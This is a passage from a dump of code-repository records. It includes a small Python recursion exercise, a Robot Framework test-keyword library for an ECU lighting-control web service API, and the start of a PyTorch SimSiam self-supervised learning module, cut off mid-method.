({entry[0][:3]}) \\n ({entry[0][3:6]})\\n ({entry[0][6:9]})\")\n int = np.argmax(net.feedforward(entry[0]))\n guess = trans[int]\n\n print(f\"Network guess: {guess}, {int == entry[1]}\")\n\n time.sleep(10)\n","repo_name":"Drizzr/NumberGuesser","sub_path":"inv.py","file_name":"inv.py","file_ext":"py","file_size_in_byte":795,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"30457797438","text":"\"\"\"Given a string as input, use recursion to output each letter of the strings in reverse order, on a new line.\r\n\r\nSample Input\r\nHELLO\r\n\r\nSample Output\r\nO\r\nL\r\nL\r\nE\r\nH\"\"\"\r\ntxt = input()\r\ndef spell(txt):\r\n n=len(txt)\r\n if n==0: #verificam daca s-a introdus un sire de caractere\r\n return 0\r\n else:\r\n print(txt[n-1]) #se afiseaza ultimul caracter\r\n n=n-1\r\n return spell(txt[0:n])\r\n\r\nspell(txt)\r\n","repo_name":"OrionXe/Work","sub_path":"Spelling Backwards.py","file_name":"Spelling Backwards.py","file_ext":"py","file_size_in_byte":431,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"15708113219","text":"import json\nimport os\nimport sqlite3\nimport paramiko\nfrom robot.api import logger\nfrom _WebServiceCore import _WebServiceCore\nfrom _sitemanagement_keywords import _SiteManagement_Keywords as siteinfo\nfrom _usermanagement_keywords import _UserManagement_Keywords as usersinfo\n\n\nclass _Misc_Keywords(_WebServiceCore):\n lock_id = None\n\n def get_about(self):\n \"\"\" Request ECU information\n \n Queries the ECU for the following information \n \n .. code:: python\n \n {\n 'ssid': 'ENC-02F3AF64',\n 'copyright': 'Copyright 2016 OSRAM SYLVANIA Inc and its licensors. All rights reserved.', \n 'free-disk-space-string': '66 MB',\n 'version': '1.0',\n 'architecture': 'arm-little_endian-ilp32-eabi-hardfloat',\n 'build-date': 'Monday February 27 2017 12:46:41',\n 'os': 'linux 3.0.15-encelium-svn63089',\n 'free-disk-space': 70213632\n }\n \n For more information, visit `/about`_.\n \n .. _/about: http://wiki:8090/pages/viewpage.action?pageId=4849856#DataWebServiceAPI-/api/about\n \"\"\"\n self._get_about()\n\n def get_automated_backup_configuration(self, session_index=''):\n \"\"\" Request Automated ECU Backup Configuration\n \n Gets the current parameters for ECU distributed backup\n\n Variable\n *session_index*\n - optional input, will use the most recently returned session id if not specified.\n\n .. code:: robotframework\n\n *** Test Cases ***\n Sample\n Get Automated Backup Configuration\n \n For more information, visit `/automated-backup-config`_.\n \n .. _/automated-backup-config: http://wiki:8090/display/ERD/Data+Web+Service+API#DataWebServiceAPI-GET.2\n \"\"\"\n self._assert_json_response_stop_on_error(self._get('automated-backup-config', session_index=session_index))\n\n def set_automated_backup_configuration(self, json_payload, session_index=''):\n \"\"\" Sets Automated Backup Configuration Parameters\n \n Sets new parameters for ECU distributed backup.\n \n Variable\n *json_payload*\n - string that contains json configuration information\n - passed as a robot framework variable\n *session_index*\n - optional input, will use the most recently returned session id if not specified.\n \n .. code:: robotframework\n \n *** Variable ***\n ${payload} SEPARATOR=\\\\n\n ... {\n ... \"automated-backups\": [\n ... {\n ... \"backup-type\": \"site-backup\",\n ... \"store-log-files\": \"all-backups\",\n ... \"time-of-day\": 9,\n ... \"day-of-week\": \"Monday\",\n ... \"num-of-months\": 2,\n ... \"week-of-month\": 2,\n ... \"num-of-weeks\": 2,\n ... \"num-of-days\": 1,\n ... \"ecu-address\": \"10.215.20.12\"\n ... },\n ... {\n ... \"backup-type\": \"ecu-backup\",\n ... \"store-log-files\": \"none\",\n ... \"time-of-day\": 13,\n ... \"day-of-week\": \"Saturday\",\n ... \"num-of-months\": 2,\n ... \"week-of-month\": 3,\n ... \"num-of-weeks\": 2,\n ... \"num-of-days\": 3,\n ... \"ecu-address\": \"172.24.172.200\"\n ... }\n ... ]\n ... }\n\n *** Test Cases ***\n Sample\n Set backup configuration json_payload=${payload}\n \n For more information, visit `/automated-backup-config`\n\n .. _/automated-backup-config: http://wiki:8090/pages/viewpage.action?pageId=4849856#DataWebServiceAPI-/api/backup-config\n \"\"\"\n try:\n backup_config = json.loads(json_payload)\n except ValueError:\n raise ValueError('Invalid json payload!')\n\n assert 'automated-backups' in backup_config.keys(), AssertionError('Unable to find automated-backups.')\n automated_backups_list = backup_config['automated-backups']\n for list_item in automated_backups_list:\n logger.info('list_item is {0}'.format(list_item))\n for key in ('backup-type',\n 'store-log-files',\n 'time-of-day',\n 'day-of-week',\n 'num-of-months',\n 'week-of-month',\n 'num-of-weeks',\n 'num-of-days',\n 'ecu-address'):\n assert key in list_item.keys(), AssertionError('Unable to find {0}'.format(key))\n\n self._assert_json_response_stop_on_error(self._post('automated-backup-config', json_payload, session_index=session_index))\n\n def get_automated_backup(self, session_index=''):\n \"\"\" Get Automated Backup\n\n Gets a list automated backup files\n\n Variable\n *session_index*\n - optional input, will use the most recently returned session id if not specified.\n\n .. code:: robotframework\n\n *** Test Cases ***\n Sample\n Get Automated Backup\n\n For more information, visit `/automated-backup`_.\n\n .. _/automated-backup: http://wiki:8090/display/ERD/Data+Web+Service+API#DataWebServiceAPI-GET.3\n \"\"\"\n self._assert_json_response_stop_on_error(self._get('automated-backup', session_index=session_index))\n\n def automated_backup_download(self, json_payload, location, session_index=''):\n \"\"\" Download Automated Backed-up\n\n Returns selected automated backup files.\n\n Variable\n *json_payload*\n - specify ECU, time and backup file to download\n *location*\n - target output file for the ECU backups\n *session_index*\n - optional input, will use the most recently returned session id if not specified.\n\n .. code:: robotframework\n\n *** Variable ***\n ${payload} SEPARATOR=\\\\n\n ... {\n ... \"ecu-address\": \"172.24.172.200\",\n ... \"backup-date\": \"2017-08-01\",\n ... \"backup-name\": \"test.zip\"\n ... }\n\n *** Test Cases ***\n Sample\n automated backup download json_payload=${payload}\n\n For more information, visit `/automated-backup-download`_.\n\n .. _/automated-backup-download: http://wiki:8090/display/ERD/Data+Web+Service+API#DataWebServiceAPI-/api/automated-backup-download\n \"\"\"\n try:\n download_specification = json.loads(json_payload)\n except ValueError:\n logger.error('Invalid json payload!')\n return\n\n for item in ('ecu-address', 'backup-date', 'backup-name'):\n assert item in download_specification.keys(), AssertionError('Unable to find {0}'.format(item))\n\n _location = os.path.dirname(location)\n if not os.path.exists(_location):\n os.makedirs(_location)\n\n response = self._get('automated-backup-download', json_payload, session_index=session_index)\n logger.info('json_payload is {0}'.format(json_payload))\n logger.info('response is {0}'.format(response))\n logger.info('response[0].content is {0}'.format(response[0].content))\n\n with open(location, 'wb') as automated_backup:\n automated_backup.write(response[0].content)\n\n assert os.path.getsize(location) > 1000, AssertionError('Invalid ecu backup!')\n\n def get_database_information(self, expected_site_name='', session_index=''):\n \"\"\" Gets ECU Database Information\n \n Queries the database for the following information\n \n .. code:: python\n \n [\n {\n \"database-id\": \"D1F7B3D7-EAA6-4C9D-961F-258F0AF5EB45\",\n \"database-name\": \"SOUTH_HEALTH_CAMPUS\",\n \"file\": \"SOUTH_HEALTH_CAMPUS.sqlite\",\n \"is-default\": true,\n \"site-alias\": \"0\",\n \"site-id\": \"41944E56-A6F2-4528-A88C-BCE3434A4939\",\n \"update-id\": \"018194AF-1405-42DA-BC4F-5EBA06B703A7\"\n },\n {\n \"database-id\": \"796BD86E-213E-4DF4-AC48-AC8D9265D9E0\",\n \"database-name\": \"68_LEEK\",\n \"file\": \"68_LEEK.sqlite\",\n \"is-default\": false,\n \"site-alias\": \"1\",\n \"site-id\": \"497432EE-87EE-40EA-9214-D0EA5915D284\",\n \"update-id\": \"39497047-E99E-4B0A-A024-9B23BA4DE6CF\"\n },\n {\n \"database-id\": \"64EF90C5-94C1-45E9-BF6F-D7301B6DF631\",\n \"database-name\": \"BROOKFIELD_TEST\",\n \"file\": \"BROOKFIELD_TEST.sqlite\",\n \"is-default\": false,\n \"site-alias\": \"2\",\n \"site-id\": \"8228B93D-F756-4EBD-B9C0-A6F0A4BF7B94\",\n \"update-id\": \"A25E7205-1403-496D-B057-FA5A324D08CE\"\n }\n ]\n\n .. code:: robotframework\n\n *** Variable ***\n ${IP} 172.24.172.111\n ${site_original} Site management test\n\n *** Test Cases ***\n Sample\n Login ${user} ${pass} # SESSION0 is returned\n Get database information\n Get database information SESSION0\n Get Database Information expected_site_name=${site_original}\n\n For more information, visit `/db-info`_.\n \n .. _/db-info: http://http://wiki:8090/pages/viewpage.action?pageId=4849856#DataWebServiceAPI-/api/db-info\n \"\"\"\n response = self._assert_non_json_response_stop_on_error(self._get('db-info', session_index=session_index), True)\n\n assert json.loads(response), AssertionError('Empty or invalid response from db-info API call')\n # logger.info('Received database response\\n'\n # '{0}'.format(response))\n\n #Extract site ids\n siteinfo.site_ids = dict()\n\n for site in json.loads(response):\n _site_index = 'SITE{0}'.format(len(siteinfo.site_ids))\n # logger.info('_site_index is {0}'.format(_site_index))\n # logger.info(siteinfo.site_ids)\n # logger.info(site.keys())\n\n assert 'site-id' in site.keys(), KeyError('Unable to find site-id')\n if site['site-id'] not in siteinfo.site_ids.values():\n siteinfo.site_ids[_site_index] = site['site-id']\n\n assert 'database-name' in site.keys(), KeyError('Unable to find database-name')\n if site['database-name'] not in siteinfo.site_names.values():\n siteinfo.site_names[_site_index] = site['database-name']\n\n assert 'file' in site.keys(), KeyError('Unable to find file')\n\n if expected_site_name is not '':\n # response is a string, inside string it is a list, inside list it is a dictionary\n # logger.info('response is {0} {1}'.format(response, type(response)))\n response_list = json.loads(response)\n # logger.info('response_object is {0} {1}'.format(response_list, type(response_list)))\n response_dictionary = response_list[0]\n # logger.info('response[0] is {0} {1}'.format(response_dictionary, type(response_dictionary)))\n # logger.info('expected_site_name is {0} {1}'.format(expected_site_name, type(response_dictionary)))\n assert response_dictionary[\"database-name\"] == expected_site_name, AssertionError(\n 'Expect site name to be {0}, but it actually is {1}'.format(expected_site_name, response_dictionary[\"database-name\"]))\n\n # logger.info(type(response)) # \n # logger.info(type(json.loads(response))) #\t\n # logger.info(type(json.loads(response)[0])) # \n return json.loads(response)\n\n def get_update_id(self, session_index=''):\n \"\"\" Returns update id\n\n Parse the update id out from the return of Get Database Information\n\n Variable\n *session_index*\n - optional input, will use the most recently returned session id if not specified.\n\n .. code:: robotframework\n\n *** Variable ***\n ${IP} 172.24.172.111\n ${user} sysadmin\n ${pass} password\n ${tbl_add} SEPARATOR=\\\\n\n ... {\n ... \"lock-id\": \"\",\n ... \"add\": [\n ... {\n ... \"db_info\": [\n ... {\"DB_DATA\": \"\", \"DB_NAME\": \"Jia\", \"DB_VALUE\": \"7+\"}\n ... ]\n ... }\n ... ]\n ... }\n\n *** Test Cases ***\n Sample\n Connect to web services ${IP} ${user} ${pass}\n Get user list\n ${lock_id}= Lock configuration USER0 force=true\n ${update_id}= get update id\n Get database information\n Update tables site_index=SITE0 json_payload=${tbl_add} update_id=${update_id} lock_id=${lock_id}\n\n For more information, visit `/db-info`_.\n\n .. _/db-info: http://http://wiki:8090/pages/viewpage.action?pageId=4849856#DataWebServiceAPI-/api/db-info\n \"\"\"\n update_id = self.get_database_information(session_index)[0]['update-id']\n return update_id\n\n def get_ecu_information(self, session_index=''):\n \"\"\" Requests ECU Information\n \n The ECU responds with the following information\n \n .. code:: python\n \n {\n \"firmware-version\" : \"4.0.0.128\",\n \"hw-config\" : \"ZigBee\",\n \"ecu-offset\" : 181,\n \"is-master\" : true,\n \"ecu-architecture\" : \"linux-armv5|linux-armv7|windows-x86\"\n }\n \n For more information, visit `/ecu-info`_.\n \n .. _/ecu-info: http://http://wiki:8090/pages/viewpage.action?pageId=4849856#DataWebServiceAPI-/api/ecu-info\n \"\"\"\n response = self._assert_json_response_stop_on_error(self._get('ecu-info', session_index=session_index))\n return response\n\n def get_ecu_offset(self, session_index=''):\n \"\"\" Returns ECU Offset\n\n Parse the ECU offset (int) out from the return of Get ECU Information\n\n .. code:: robotframework\n\n *** Test Cases ***\n Sample\n ${ecu_offset}= get ecu offset\n\n For more information, visit `/ecu-info`_.\n\n .. _/ecu-info: http://http://wiki:8090/pages/viewpage.action?pageId=4849856#DataWebServiceAPI-/api/ecu-info\n \"\"\"\n ecu_offset = self.get_ecu_information(session_index)['ecu-offset']\n # if ecu_offset = 0 then the ECU is not part of a site\n # when the ECU is part of a site, the ecu_offset should be an integer equal or larger than 100\n return ecu_offset\n\n def change_local_ip(self, json_payload, session_index=''):\n \"\"\" Change network configuration of Encelium network adapter of ECU.\n\n Returns success or fail.\n\n Variable\n *json_payload*\n - specify dhcp, netmask, gateways, ip address\n *session_index*\n - optional input, will use the most recently returned session id if not specified.\n\n .. code:: robotframework\n\n *** Variable ***\n ${payload} SEPARATOR=\\n\n ... {\n ... \"Dhcp\": false,\n ... \"Netmask\": \"255.255.255.0\",\n ... \"Gateways\": [\"172.24.172.1\"],\n ... \"Address\": \"172.24.172.222\"\n ... }\n\n *** Test Cases ***\n Sample\n change local ip json_payload=${payload}\n clean sessions\n Connect to web services ${IP_new} ${user} ${pass} ${version}\n change local ip json_payload=${original_master_IP} session_index=SESSION0\n\n For more information, visit `/local-network`_.\n\n .. _/local-network: http://wiki:8090/display/ERD/Data+Web+Service+API#DataWebServiceAPI-/api/local-network\n \"\"\"\n try:\n network_specification = json.loads(json_payload)\n except ValueError:\n raise ValueError('Invalid json payload!')\n\n for item in ('Dhcp', 'Netmask', 'Gateways', 'Address'):\n assert item in network_specification.keys(), AssertionError('Unable to find {0}'.format(item))\n\n response = self._assert_json_response_stop_on_error(self._post('local-network', json_payload, session_index=session_index))\n logger.info('input is {0}'.format(network_specification))\n logger.info('response is {0}'.format(response))\n\n def get_local_ip(self, expected_ip=''):\n \"\"\" Get Local IP\n \n Requests the local IP information of the ECU.\n \n .. code:: python\n \n {\n \"ip-address\": \"192.168.1.1\",\n \"subnet-mask\": \"255.255.255.0\",\n \"is-routing\": false\n }\n \n For more information, visit `/local-ip`_.\n \n .. _/local-ip: http://http://wiki:8090/pages/viewpage.action?pageId=4849856#DataWebServiceAPI-/api/local-ip\n \"\"\"\n response = self._assert_json_response_stop_on_error(self._get('local-network'))\n if expected_ip is not '':\n assert response[\"ip-address\"] == expected_ip, AssertionError('Expect ECU IP to be {0}, but it actually is {1}'.format(expected_ip, response[\"ip-address\"]))\n return response[\"ip-address\"]\n\n def get_locator(self, local_only=True):\n \"\"\" Get Locator Information\n\n Requests the current locator results.\n The keyword \\`Start Locator\\` should be called prior to this keyword.\n\n .. code:: python\n\n {\n \"Results\" : [\n {\n \"Address\" : 100,\n \"Dns\" : {\n \"Domain\" : \"\",\n \"Servers\" : [ \"\", \"\", \"\" ]\n },\n \"EnceliumNetwork\" : {\n \"Address\" : \"192.168.97.203\",\n \"Dhcp\" : false,\n \"Gateways\" : [ \"\", \"\", \"\" ],\n \"HwAddr\" : \"00:14:2D:5B:C6:C4\",\n \"Netmask\" : \"255.255.255.0\",\n \"Port\" : 4533\n },\n \"Encryption\" : {\n \"Port\" : 0,\n \"PublicKey\" : \"\",\n \"Version\" : 0,\n \"VersionSupported\" : 0\n },\n \"FirmwareVersion\" : \"3.6.4.64180\",\n \"Id\" : \"000D6F000310F41C\",\n \"Name\" : \"Room Controller\",\n \"SiteId\" : \"0E8B6C4D-CA59-4280-A99C-C65B177BC7BC\",\n \"SiteName\" : \"brian\",\n \"TenantNetwork\" : {\n \"Address\" : \"\",\n \"Dhcp\" : true,\n \"Gateways\" : [ \"\", \"\", \"\" ],\n \"HwAddr\" : \"\",\n \"Netmask\" : \"\",\n \"Port\" : 4533\n },\n \"Type\" : {\n \"BusArch\" : [ \"ZigBee\" ],\n \"HwArch\" : \"ZigBee\",\n \"OsVersion\" : \"2.08___64180___2017-\",\n \"ProcessorArch\" : \"ARMv7\",\n \"SystemArch\" : \"Mini\",\n \"SystemType\" : 0\n },\n \"WlanNetwork\" : {\n \"Address\" : \"\",\n \"Channel\" : 1,\n \"Dhcp\" : true,\n \"DhcpLeaseTime\" : 72,\n \"DhcpRange\" : \"172.24.173.2,172.24.173.200\",\n \"Gateways\" : [ \"\", \"\", \"\" ],\n \"HwAddr\" : \"74:DA:38:8B:25:27\",\n \"MasterHwAddr\" : \"74:DA:38:8B:25:27\",\n \"Netmask\" : \"\",\n \"Ssid\" : \"ENC-0310F41C\"\n }\n }\n ],\n \"Timestamp\" : \"18/04/2017 18:16:15 PM\"\n }\n\n For more information, visit `/locator`_.\n\n .. _/locator: http://wiki:8090/pages/viewpage.action?pageId=4849856#DataWebServiceAPI-/api/locator\n \"\"\"\n _input = dict()\n # every input from Robot Frame work is a string, we need to convert them to BOOL and NONE types\n if str(local_only).lower() == 'none':\n self._assert_json_response_stop_on_error(self._get('locator'))\n else:\n if str(local_only).lower() == 'true':\n local_only = True\n elif str(local_only).lower() == 'false':\n local_only = False\n _input['local-only'] = local_only\n self._assert_json_response_stop_on_error(self._get('locator', json.dumps(_input)))\n\n def start_locator(self, local_only):\n \"\"\" Start Locator Service\n \n Starts the locator on the ECU to scan the network.\n\n .. code:: robotframework\n\n *** Test Cases ***\n Sample\n Start Locator local_only=True\n Start Locator local_only=False\n Start Locator local_only=\n \n For more information, visit `/locator`_.\n \n .. _/locator: http://wiki:8090/pages/viewpage.action?pageId=4849856#DataWebServiceAPI-/api/locator\n \"\"\"\n _input = dict()\n # every input from Robot Frame work is a string, we need to convert them to BOOL and NONE types\n if str(local_only).lower() == 'none':\n self._assert_json_response_stop_on_error(self._post('locator'))\n else:\n if str(local_only).lower() == 'true':\n local_only = True\n elif str(local_only).lower() == 'false':\n local_only = False\n _input['local-only'] = local_only\n self._assert_json_response_stop_on_error(self._post('locator', json.dumps(_input)))\n\n def configuration_lock_status(self, lock_id, session_index=''):\n \"\"\" Configuration Lock Status\n\n Queries the ECU for the configuration lock status.\n If the configuration is locked, a json response will be returned.\n If configuration is not locked, response is empty.\n\n For more information, visit `/configure-lock`_.\n\n .. _/configure-lock: http://wiki:8090/pages/viewpage.action?pageId=4849856#DataWebServiceAPI-/api/configure-lock\n \"\"\"\n\n _input = dict()\n # every input from Robot Frame work is a string, we need to convert them to BOOL and NONE types\n if str(lock_id).lower() == 'none':\n response = self._assert_json_response_stop_on_error(self._get('configure-lock', session_index=session_index))\n else:\n _input['lock-id'] = lock_id\n logger.info('input is {0}'.format(_input))\n response = self._assert_json_response_stop_on_error(self._get('configure-lock', json.dumps(_input), session_index=session_index))\n\n if response['lock']:\n logger.info('Configuration has been previously locked')\n else:\n logger.info('There is no configuration lock')\n\n return response\n\n def lock_configuration(self, user_index, force, session_index=''):\n \"\"\" Lock Configuration \n \n Attempts to lock configuration of webservices.\n If successful, a lock id will be return. \n If unsuccessful, a json response will be returned with the configuration lock information\n\n Variable\n *user_index*\n - which user you want to lock, call Get User List before.\n *force*\n - If configuration is locked by another user, current lock information is returned unless the \"force\" flag is true.\n - \"force\" is an optional flag in the input json.\n - If it is true, ECU does not check if lock is currently taken by another user and acquires the lock for the current user.\n *session_index*\n - optional input, will use the most recently returned session id if not specified.\n\n .. code:: robotframework\n\n *** Variable ***\n ${user} sysadmin\n ${pass} newpassword\n\n *** Test Cases ***\n Sample\n Login ${user} ${pass}\n Get user list\n Lock configuration USER0\n\n For more information, visit `/configure-lock`_.\n \n .. _/configure-lock: http://wiki:8090/pages/viewpage.action?pageId=4849856#DataWebServiceAPI-/api/configure-lock\n \"\"\"\n assert user_index in usersinfo.user_names.keys(), AssertionError('Invalid user {0}, '\n 'please select from the following users {1}'\n .format(user_index, usersinfo.user_names.keys()))\n\n assert user_index in usersinfo.user_groups.keys(), AssertionError('Invalid user {0}, '\n 'please select from the following users {1}'\n .format(user_index, usersinfo.user_groups.keys()))\n\n _json_payload = dict()\n _json_payload['user-name'] = usersinfo.user_names[user_index]\n _json_payload['user-group'] = usersinfo.user_groups[user_index]\n\n # every input from Robot Frame work is a string, we need to convert them to BOOL and NONE types\n if str(force).lower() != 'none':\n if str(force).lower() == 'true':\n force = True\n elif str(force).lower() == 'false':\n force = False\n _json_payload['force'] = force\n\n logger.info('input is {0}'.format(_json_payload))\n response = self._assert_json_response_stop_on_error(self._post('configure-lock', json.dumps(_json_payload), session_index=session_index))\n\n if 'lock-id' in response:\n _Misc_Keywords.lock_id = response['lock-id']\n logger.info('Configuration locked!')\n return _Misc_Keywords.lock_id\n else:\n raise AssertionError('Configuration lock unsuccessful!')\n\n def unlock_configuration(self, force, session_index=''):\n \"\"\" Unlock Configuration\n \n Attempts to unlock the configuration.\n\n Variable\n *force*\n - \"force\" flag is optional in input json string.\n - If force is set to true, server does not check the configured lock-id and deletes the current lock.\n - If \"force\" is false or not preset in input json, \"lock-id\" should match the current lock-id to be deleted.\n - Otherwise, an \"invalid lock id\" error is returned.\n *session_index*\n - optional input, will use the most recently returned session id if not specified.\n\n .. code:: robotframework\n\n *** Test Cases ***\n Sample\n Unlock configuration force=True\n\n For more information, visit `/configure-lock`_.\n \n .. _/configure-lock: http://wiki:8090/pages/viewpage.action?pageId=4849856#DataWebServiceAPI-/api/configure-lock\n \"\"\"\n\n _json_payload = dict()\n if _Misc_Keywords.lock_id is None:\n _Misc_Keywords.lock_id = 'give invalid id to test force=True otherwise will complain the lock_id type'\n _json_payload['lock-id'] = _Misc_Keywords.lock_id\n\n # every input from Robot Frame work is a string, we need to convert them to BOOL and NONE types\n if str(force).lower() != 'none':\n if str(force).lower() == 'true':\n force = True\n elif str(force).lower() == 'false':\n force = False\n _json_payload['force'] = force\n\n logger.info('input is {0}'.format(_json_payload))\n self._assert_json_response_stop_on_error(self._delete('configure-lock', json.dumps(_json_payload), session_index=session_index))\n _Misc_Keywords.lock_id = None\n\n def wink_ecu(self):\n \"\"\" Make the ECU identify itself via the wink (e.g. flash the blue light on the WM)\n\n Calling this will cause the ECU to wink.\n\n .. code:: robotframework\n\n *** Test Cases ***\n Sample\n wink ecu\n\n For more information, visit `/wink`_.\n\n .. _/wink: http://wiki:8090/display/ERD/Data+Web+Service+API#DataWebServiceAPI-/api/wink\n \"\"\"\n self._assert_json_response_stop_on_error(self._post('wink'))\n\n def validate_session(self, session_id='', session_index='', is_valid=True):\n \"\"\" Validate if a session id is valid\n\n Variable\n *session_id*\n - optional input, needs to specify either session_id or session_index\n *session_index*\n - optional input, needs to specify either session_id or session_index\n *is_valid*\n - do you expect the session id or session index to be valid or not\n\n .. code:: robotframework\n\n *** Variable ***\n ${IP} 172.24.172.111\n ${user} sysadmin\n ${pass} 12345\n\n *** Test Cases ***\n Sample\n Connect to web services ${IP} ${user} ${pass} ${version} # SESSION0 is returned\n validate session session_index=SESSION0\n logout\n validate session session_index=SESSION0 is_valid=False\n\n For more information, visit `/session`_.\n\n .. _/session: http://wiki:8090/display/ERD/Data+Web+Service+API#DataWebServiceAPI-/api/session\n \"\"\"\n _input = dict()\n if session_id != '' and session_index == '':\n _input['session-id'] = session_id\n elif session_id == '' and session_index != '':\n assert session_index in _WebServiceCore.session_ids.keys(), \\\n AssertionError(\n 'Unable to find {0} from {1}'.format(session_index, _WebServiceCore.session_ids.keys()))\n _input['session-id'] = _WebServiceCore.session_ids[session_index]\n else:\n assert False, AssertionError('Pass in either session_id or session_index.')\n logger.info('_input is {0}'.format(_input))\n response = self._assert_json_response_stop_on_error(self._get('session', json.dumps(_input)), True)\n\n if is_valid=='True':\n is_valid = True\n elif is_valid=='False':\n is_valid = False\n assert response['session']['is-valid'] == bool(is_valid), \\\n AssertionError('session id is {0}, expect it to be {1}.'.format(response['session']['is-valid'], is_valid))\n\n def get_master_info(self, session_index=''):\n \"\"\" Get current \"master pointing\" information\n\n Get current \"master pointing\" information\n\n Variable\n *session_index*\n - optional input, will use the most recently returned session id if not specified.\n\n .. code:: robotframework\n\n *** Test Cases ***\n Sample\n Get Master Info\n\n For more information, visit `/master-info`_.\n\n .. _/master-info: http://wiki:8090/display/ERD/Data+Web+Service+API#DataWebServiceAPI-/api/master-info\n \"\"\"\n self._assert_json_response_stop_on_error(self._get('master-info', session_index=session_index))\n\n def set_master_info(self, json_payload, site_index, session_index=''):\n \"\"\" Set the current \"master pointing\" information.\n\n Set the current \"master pointing\" information.\n This will be periodically called by the master of the site to maintain the \"mastering\" information on all ECUs.\n\n Variable\n *json_payload*\n - string that contains json configuration information\n - passed as a robot framework variable\n *site_index*\n - reference to the site id index generated by reading the ECU databases\n *session_index*\n - optional input, will use the most recently returned session id if not specified.\n\n .. code:: robotframework\n\n *** Variable ***\n ${master_info} SEPARATOR=\\n\n ... {\n ... \"master-ecu-ip\": \"172.24.172.100\",\n ... \"site-id\" : \"\"\n ... }\n\n *** Test Cases ***\n Sample\n Connect to web services ${master_IP} ${user} ${pass} ${version}\n Get database information\n Logout\n Connect to web services ${slave_IP} ${user} ${pass} ${version}\n Set Master Info json_payload=${master_info} site_index=SITE0\n\n For more information, visit `/master-info`_.\n\n .. _/master-info: http://wiki:8090/display/ERD/Data+Web+Service+API#DataWebServiceAPI-/api/master-info\n \"\"\"\n try:\n master_info = json.loads(json_payload)\n except ValueError:\n raise ValueError('Invalid json payload!')\n\n assert 'master-ecu-ip' in master_info.keys(), AssertionError('Unable to find master ecu address.')\n assert 'site-id' in master_info.keys(), AssertionError('Unable to find master ecu address.')\n\n self.validate_site_id(site_index)\n master_info['site-id'] = siteinfo.site_ids[site_index]\n\n self._assert_json_response_stop_on_error(\n self._post('master-info', json.dumps(master_info), session_index=session_index))\n","repo_name":"qijia00/RobotFramework_AcceptanceTestDrivenDevelopment_Python","sub_path":"src/WebServiceLibrary/keywords/_misc_keywords.py","file_name":"_misc_keywords.py","file_ext":"py","file_size_in_byte":34331,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"40271721790","text":"from dsb.dependencies import *\n\nfrom dsb.utils import torchify, untorchify, compute_output_shape\nfrom dsb.agents.utils import update_target_network\nimport dsb.builder as builder\nfrom dsb.builder import module_reset_parameters\n\n\n# original ref: https://github.com/facebookresearch/simsiam/blob/a7bc1772896d0dad0806c51f0bb6f3b16d290468/simsiam/builder.py\n# also https://github.com/PatrickHua/SimSiam\nclass SimSiam(nn.Module):\n # SimSiam is just BYOL w/o momentum encoder\n #\n # Training tip: Should see embedding_loss decrease quickly to -0.7 to -0.9 range.\n # If it reaches -1 immediately, then model has probably diverged.\n # If the loss is oscillating around the -0.4 to -0.6 range then try increasing\n # embedding_dim.\n # See Figure 2 of SimSiam.\n\n def __init__(\n self,\n obs_space,\n encoder_network_params=[],\n embedding_dim=2048, # latent dim\n # optim_params=dict(cls='Adam', lr=3e-4, weight_decay=1e-4), # NOTE: SimSiam uses SGD w/ momentum, weight decay, & cosine decay schedule\n optim_params=dict(cls='SGD', lr=0.05, weight_decay=1e-4, momentum=0.9),\n optimize_interval=1,\n detach_embedding=False, # if True, detach so other losses will not update encoder\n #\n aug_params=None,\n detach_augmented=True,\n extra_aug_params=None,\n forward_aug_params='same',\n prediction_head_bottleneck_dim=512, # see appendix B of https://arxiv.org/pdf/2011.10566.pdf\n symmetric=True,\n use_target_for_pair=False, # if True, then use momentum encoder, so becomes BYOL\n tau=0.005,\n ):\n super().__init__()\n assert len(obs_space.shape) == 3 # check if image space\n self.obs_space = obs_space\n self.embedding_dim = embedding_dim\n self.detach_embedding = detach_embedding\n self.detach_augmented = detach_augmented\n\n self.symmetric = symmetric\n self.use_target_for_pair = use_target_for_pair\n self.tau = tau\n\n in_channels = self.obs_space.shape[0]\n img_size = (self.obs_space.shape[1], self.obs_space.shape[2])\n\n self.aug = builder.build_aug(aug_params, img_size=img_size)\n # TODO: extra_aug applied on top of aug, so change img_size\n self.extra_aug = builder.build_aug(extra_aug_params, img_size=img_size)\n\n # TODO: add flag to change forward_aug in train vs. eval\n if forward_aug_params == 'same':\n self.forward_aug = self.aug\n else:\n self.forward_aug = builder.build_aug(forward_aug_params, img_size=img_size)\n\n self.encoder = builder.build_network_modules(\n encoder_network_params, in_channels=in_channels\n )\n self.encoder = nn.Sequential(*self.encoder)\n\n self.conv_output_shape, n_flatten = compute_output_shape(\n self.obs_space.sample(), self.encoder, aug=self.aug\n )\n # TODO: check that extra_aug doesn't change shape?\n\n # NOTE:\n # SimSiam follows SimCLR and discards f for downstream tasks?\n # for now we just give the projection_head as output.\n # also check out https://arxiv.org/pdf/2010.10241.pdf\n # and https://untitled-ai.github.io/appendix-for-understanding-self-supervised-contrastive-learning.html\n # for replacing batchnorm ideas\n\n # https://github.com/facebookresearch/simsiam/blob/a7bc1772896d0dad0806c51f0bb6f3b16d290468/simsiam/builder.py#L26\n self.projection_head = nn.Sequential(\n *[ # f\n nn.Linear(n_flatten, embedding_dim, bias=False),\n nn.BatchNorm1d(embedding_dim),\n nn.ReLU(inplace=True),\n nn.Linear(embedding_dim, embedding_dim, bias=False),\n nn.BatchNorm1d(embedding_dim),\n nn.ReLU(inplace=True),\n nn.Linear(embedding_dim, embedding_dim, bias=False),\n nn.BatchNorm1d(embedding_dim, affine=False), # see section 4.4 of SimSiam\n ]\n )\n\n self.prediction_head = nn.Sequential(\n *[ # h\n nn.Linear(embedding_dim, prediction_head_bottleneck_dim, bias=False),\n nn.BatchNorm1d(prediction_head_bottleneck_dim),\n nn.ReLU(inplace=True),\n nn.Linear(prediction_head_bottleneck_dim, embedding_dim),\n ]\n )\n\n self.optimizer = builder.build_optim(optim_params, params=self.parameters())\n self.optimize_interval = optimize_interval\n\n self.reset_parameters()\n\n def reset_parameters(self):\n self.encoder.apply(module_reset_parameters)\n self.projection_head.apply(module_reset_parameters)\n self.prediction_head.apply(module_reset_parameters)\n\n self._create_target_networks()\n\n def _create_target_networks(self):\n if self.use_target_for_pair:\n self.encoder_target = copy.deepcopy(self.encoder)\n 